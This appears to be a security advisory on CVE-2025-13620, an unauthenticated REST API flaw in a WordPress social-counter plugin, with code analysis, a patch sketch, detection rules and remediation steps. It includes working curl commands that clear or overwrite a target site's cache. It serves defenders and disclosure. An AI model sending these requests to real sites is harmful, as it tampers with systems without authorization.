CVE-2025-13620

Executive Summary

CVE-2025-13620 is a Missing Authorization vulnerability in the Wp Social Login and Register Social Counter WordPress plugin (versions up to and including 3.1.3). The plugin registers three REST API routes (wslu/v1/check_cache/{type}, wslu/v1/save_cache/{type}, and wslu/v1/settings/clear_counter_cache) with a permission_callback set to __return_true, meaning no authentication or authorization checks are performed. Additionally, the handler functions lack capability or nonce validation. This allows any unauthenticated attacker to clear or overwrite the social counter cache by sending crafted REST requests.

The vulnerability has a CVSS score of 5.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. However, due to the ease of exploitation (no authentication required) and the potential for cache poisoning or denial of service, this issue should be addressed promptly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or manually are at risk. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this vulnerability in the wild.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the impact is limited to integrity (cache manipulation), the lack of authentication makes it trivial to exploit. An attacker can repeatedly clear or overwrite the social counter cache, potentially causing incorrect display of social media counts or denial of service for the caching mechanism.

Deep Dive & Mechanics

The vulnerability resides in the plugin's REST API registration. The plugin registers three routes:

1. wslu/v1/check_cache/{type} - Likely used to check the cache status for a given social network type.
2. wslu/v1/save_cache/{type} - Used to save/update the cache for a given social network type.
3. wslu/v1/settings/clear_counter_cache - Used to clear all social counter caches.

The critical flaw is that the permission_callback for these routes is set to __return_true, a WordPress function that always returns true. This means no authentication, authorization, or nonce checks are performed. Additionally, the handler functions themselves do not implement any capability checks (e.g., current_user_can('manage_options')) or nonce validation.

An attacker can send a simple HTTP request to these endpoints without any authentication token or session. For example:

• POST /wp-json/wslu/v1/settings/clear_counter_cache will clear all social counter caches.
• POST /wp-json/wslu/v1/save_cache/facebook with a crafted body can overwrite the Facebook counter cache.

This can lead to:

• Cache Poisoning: Overwriting cache data with arbitrary values, causing incorrect social media counts to be displayed.
• Denial of Service: Repeatedly clearing the cache can degrade performance or cause the caching mechanism to fail.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.1.3):

In the plugin's REST API registration file (likely includes/class-wslu-rest-api.php or similar), the routes are registered as follows:

register_rest_route('wslu/v1', '/check_cache/(?P<type>[a-zA-Z0-9-]+)', array(
    'methods' => 'POST',
    'callback' => array($this, 'check_cache'),
    'permission_callback' => '__return_true',
));

register_rest_route('wslu/v1', '/save_cache/(?P<type>[a-zA-Z0-9-]+)', array(
    'methods' => 'POST',
    'callback' => array($this, 'save_cache'),
    'permission_callback' => '__return_true',
));

register_rest_route('wslu/v1', '/settings/clear_counter_cache', array(
    'methods' => 'POST',
    'callback' => array($this, 'clear_counter_cache'),
    'permission_callback' => '__return_true',
));

The handler functions (e.g., check_cache, save_cache, clear_counter_cache) do not perform any additional authorization checks.

Patched Code (hypothetical):

A proper fix would involve:

1. Setting permission_callback to a function that checks for the appropriate capability, e.g., 'manage_options'.
2. Adding nonce validation in the handler functions.

Example patched registration:

register_rest_route('wslu/v1', '/check_cache/(?P<type>[a-zA-Z0-9-]+)', array(
    'methods' => 'POST',
    'callback' => array($this, 'check_cache'),
    'permission_callback' => function() {
        return current_user_can('manage_options');
    },
));

Additionally, the handler functions should verify a nonce:

public function check_cache($request) {
    if (!wp_verify_nonce($request->get_header('X-WP-Nonce'), 'wp_rest')) {
        return new WP_Error('rest_forbidden', 'Invalid nonce', array('status' => 403));
    }
    // ... rest of the handler
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the vulnerable plugin installed and active.
• Network access to the WordPress REST API.

Exploitation Steps:

1. Clear the social counter cache:

   curl -X POST http://target.com/wp-json/wslu/v1/settings/clear_counter_cache
   

2. Overwrite a specific cache (e.g., Facebook):

   curl -X POST http://target.com/wp-json/wslu/v1/save_cache/facebook \
     -H "Content-Type: application/json" \
     -d '{"count": 99999}'
   

3. Check cache status (may reveal current values):

   curl -X POST http://target.com/wp-json/wslu/v1/check_cache/facebook
   

Expected Outcome: The social counter cache is cleared or overwritten, causing incorrect display of social media counts on the site.

Blue Team

Detection:

• Monitor REST API access logs for requests to /wp-json/wslu/v1/* from unauthenticated sources.
• Look for unusual patterns in social counter values (e.g., sudden spikes or drops).

Hunting:

• Search for requests with POST method to the vulnerable endpoints.
• Check for missing X-WP-Nonce header in these requests.

Mitigation:

• Disable the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to these endpoints.
• Use a security plugin that adds capability checks to REST API routes.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /wp-json/wslu/v1/check_cache/{type}
  • HTTP POST requests to /wp-json/wslu/v1/save_cache/{type}
  • HTTP POST requests to /wp-json/wslu/v1/settings/clear_counter_cache
  • Requests without X-WP-Nonce header to these endpoints.

• File IOCs:

  • Modified cache files in wp-content/uploads/wslu-cache/ (if cache is file-based).
  • Unusual entries in the WordPress options table (e.g., wslu_cache_* options).

• Behavioral IOCs:

  • Social counter values changing without corresponding admin actions.
  • Repeated cache clearing events in logs.

Detection Engineering

YARA Rule

rule CVE_2025_13620_WordPress_Plugin_Missing_Auth {
    meta:
        description = "Detects vulnerable Wp Social Login and Register Social Counter plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13620"
        hash = "unknown"
    strings:
        $route1 = "wslu/v1/check_cache" ascii wide nocase
        $route2 = "wslu/v1/save_cache" ascii wide nocase
        $route3 = "wslu/v1/settings/clear_counter_cache" ascii wide nocase
        $perm_callback = "__return_true" ascii wide nocase
    condition:
        any of ($route*) and $perm_callback
}

Sigma Rule

title: CVE-2025-13620 - Unauthenticated REST API Access to Wp Social Login Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated POST requests to vulnerable REST endpoints of the Wp Social Login and Register Social Counter plugin.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13620
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/wp-json/wslu/v1/check_cache/*'
            - '/wp-json/wslu/v1/save_cache/*'
            - '/wp-json/wslu/v1/settings/clear_counter_cache'
    condition: selection
falsepositives:
    - Legitimate admin actions if the plugin is used with proper authentication (unlikely due to missing auth)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13620 - Unauthenticated REST API Access to Wp Social Login Plugin"; flow:to_server; http.method; content:"POST"; http.uri; content:"/wp-json/wslu/v1/"; startswith; pcre:"/\/wp-json\/wslu\/v1\/(check_cache|save_cache|settings\/clear_counter_cache)/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Implement a WAF rule to block unauthenticated requests to /wp-json/wslu/v1/*.
3. Review server logs for any signs of exploitation.

Long-term Fix:

• The vendor should release a patched version that adds proper permission_callback (e.g., current_user_can('manage_options')) and nonce validation.
• Users should update to the latest version once available.

Workaround:

• Add custom code to a site-specific plugin or theme's functions.php to override the REST route registration with proper authorization checks.

Example workaround code:

add_action('rest_api_init', function() {
    // Remove the vulnerable routes
    remove_action('rest_api_init', 'wslu_register_routes');
    
    // Re-register with proper permissions
    register_rest_route('wslu/v1', '/check_cache/(?P<type>[a-zA-Z0-9-]+)', array(
        'methods' => 'POST',
        'callback' => 'wslu_check_cache',
        'permission_callback' => function() {
            return current_user_can('manage_options');
        },
    ));
    // Repeat for other routes...
}, 20);

Valters IT
Securing Digital Frontiers